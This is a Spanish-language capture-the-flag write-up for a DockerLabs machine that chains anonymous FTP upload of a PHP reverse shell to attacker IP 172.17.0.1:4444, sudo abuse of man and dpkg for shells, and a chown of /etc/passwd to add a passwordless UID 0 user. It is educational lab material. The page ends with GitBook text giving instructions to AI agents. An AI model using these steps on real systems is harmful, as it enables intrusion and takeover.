> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/anonymouspingu.md).

# Anonymouspingu

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux aprovechando acceso anonimo por FTP y una mala configuracion de permisos `sudo`.

El objetivo es conseguir acceso inicial mediante una reverse shell subida al servidor web y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.3
```

![Nmap](/files/ezOb9Ba0ZwSEMm4RWmgM)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version             |
| ------ | -------- | ------------------- |
| 21/tcp | FTP      | vsftpd 3.0.5        |
| 80/tcp | HTTP     | Apache httpd 2.4.58 |

***

## Enumeracion web

Al acceder al puerto 80 se observa una web corporativa sencilla llamada `Heustonn`.

![Web principal](/files/RdvlcRbbqdSjdrotEVDy)

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://172.17.0.3:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/1kAl58ZGGMP5Ckq7Jk6O)

Recursos interesantes encontrados:

| Recurso         | Codigo | Comentario             |
| --------------- | ------ | ---------------------- |
| `/index.html`   | 200    | Pagina principal       |
| `/about.html`   | 200    | Pagina informativa     |
| `/contact.html` | 200    | Pagina de contacto     |
| `/service.html` | 200    | Pagina de servicios    |
| `/upload/`      | 301    | Directorio interesante |
| `/images/`      | 301    | Directorio de imagenes |
| `/css/`         | 301    | Directorio de estilos  |
| `/js/`          | 301    | Directorio JavaScript  |

***

## Acceso FTP anonimo

Como el puerto 21 esta abierto, se prueba acceso anonimo por FTP:

```bash
ftp 172.17.0.3
```

Usuario:

```
anonymous
```

![FTP anonymous](/files/r6RL0nnvBCsblFTQGzX8)

El login anonimo funciona correctamente.

Dentro del FTP se observa que existe un directorio `upload` con permisos de escritura.

![FTP upload](/files/0X4ig5SSYsdzGKwYpq4N)

***

## Subida de reverse shell

Se prepara una reverse shell en PHP apuntando a la IP atacante `172.17.0.1` y al puerto `4444`.

![Reverse shell PHP](/files/nGXKA9rGd90kplhY9eUn)

Desde FTP se sube el archivo `shell.php` al directorio `upload`:

```bash
cd upload
put shell.php
```

![Subida por FTP](/files/0X4ig5SSYsdzGKwYpq4N)

Al acceder al directorio desde el navegador se confirma que el archivo queda publicado en la web:

```
http://172.17.0.3/upload/shell.php
```

![Index upload](/files/A3bEkEUvwZYdSKvyXdu5)

***

## Acceso inicial

Antes de ejecutar el payload, se deja un listener con Netcat:

```bash
nc -lvnp 4444
```

Se accede a `shell.php` desde el navegador y se recibe una conexion como `www-data`.

![Reverse shell www-data](/files/Hm8QqGmdqq7tI7C03QSU)

***

## Escalada a usuario pingu

Se comprueban los privilegios sudo de `www-data`:

```bash
sudo -l
```

![sudo -l www-data](/files/77fyRLTizf3KoYJdhAyM)

El usuario `www-data` puede ejecutar `/usr/bin/man` como `pingu` sin password:

```
(pingu) NOPASSWD: /usr/bin/man
```

En GTFOBins se comprueba que `man` hereda funciones de `less`, lo que permite invocar una shell.

![GTFOBins man](/files/1l9KX1Gd5p9v0ciOyeGq)

Se ejecuta `man` como `pingu` y desde el visor se lanza una shell:

```bash
sudo -u pingu /usr/bin/man man
!/bin/bash
```

![Shell pingu](/files/zN96nVtdX5X6VpUF2jNs)

Se obtiene una shell como `pingu`.

***

## Escalada a usuario gladys

Se revisan los permisos sudo del usuario `pingu`:

```bash
sudo -l
```

![sudo -l pingu](/files/eRzpItrFvElJzPfkL5K2)

El usuario `pingu` puede ejecutar como `gladys`:

```
/usr/bin/nmap
/usr/bin/dpkg
```

`dpkg` tambien hereda funciones de `less`, por lo que se puede abusar para conseguir una shell como `gladys`.

![GTFOBins dpkg](/files/DZUk2ZbSaprgYwOZk6zC)

Se ejecuta:

```bash
sudo -u gladys /usr/bin/dpkg -l
!/bin/bash
```

![Shell gladys](/files/aLXOMQSfgIQ89rAvv4lz)

Se obtiene una shell como `gladys`.

***

## Escalada a root

El usuario `gladys` puede abusar de `chown` para cambiar el propietario de `/etc/passwd`.

```bash
sudo chown $(id -un):$(id -gn) /etc/passwd
ls -la /etc/passwd
```

![chown passwd](/files/3313b2iLlHF8kuBfSPYk)

Una vez que `gladys` puede modificar `/etc/passwd`, se anade un usuario con UID 0 y shell `/bin/bash`:

```bash
echo "alberto::0:0:root:/root:/bin/bash" >> /etc/passwd
```

Despues se cambia a ese usuario:

```bash
su alberto
```

![Root](/files/gLDHcrTjQtyApnzI94lf)

Se obtiene una shell con privilegios de `root`.

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* FTP anonimo habilitado
* Directorio `upload` escribible y servido por Apache
* Ejecucion de PHP en el directorio de subida
* Reglas `sudo` inseguras para `man`, `dpkg` y `chown`
* Posibilidad de modificar `/etc/passwd`

### Puntos clave

| Fase            | Tecnica                           | Resultado                   |
| --------------- | --------------------------------- | --------------------------- |
| Reconocimiento  | Nmap                              | FTP y HTTP expuestos        |
| Enumeracion web | Gobuster                          | Descubrimiento de `/upload` |
| Acceso inicial  | FTP anonymous + PHP reverse shell | Shell como `www-data`       |
| Escalada 1      | `sudo -u pingu man`               | Shell como `pingu`          |
| Escalada 2      | `sudo -u gladys dpkg -l`          | Shell como `gladys`         |
| Escalada final  | `chown /etc/passwd`               | Usuario UID 0 y root        |

### Recomendaciones

* Deshabilitar acceso anonimo por FTP si no es estrictamente necesario
* No permitir escritura en directorios servidos directamente por Apache
* Impedir ejecucion de PHP en directorios de subida
* Revisar cuidadosamente reglas `NOPASSWD` en `sudoers`
* No permitir binarios interactivos o capaces de modificar archivos criticos con privilegios elevados


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/anonymouspingu.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
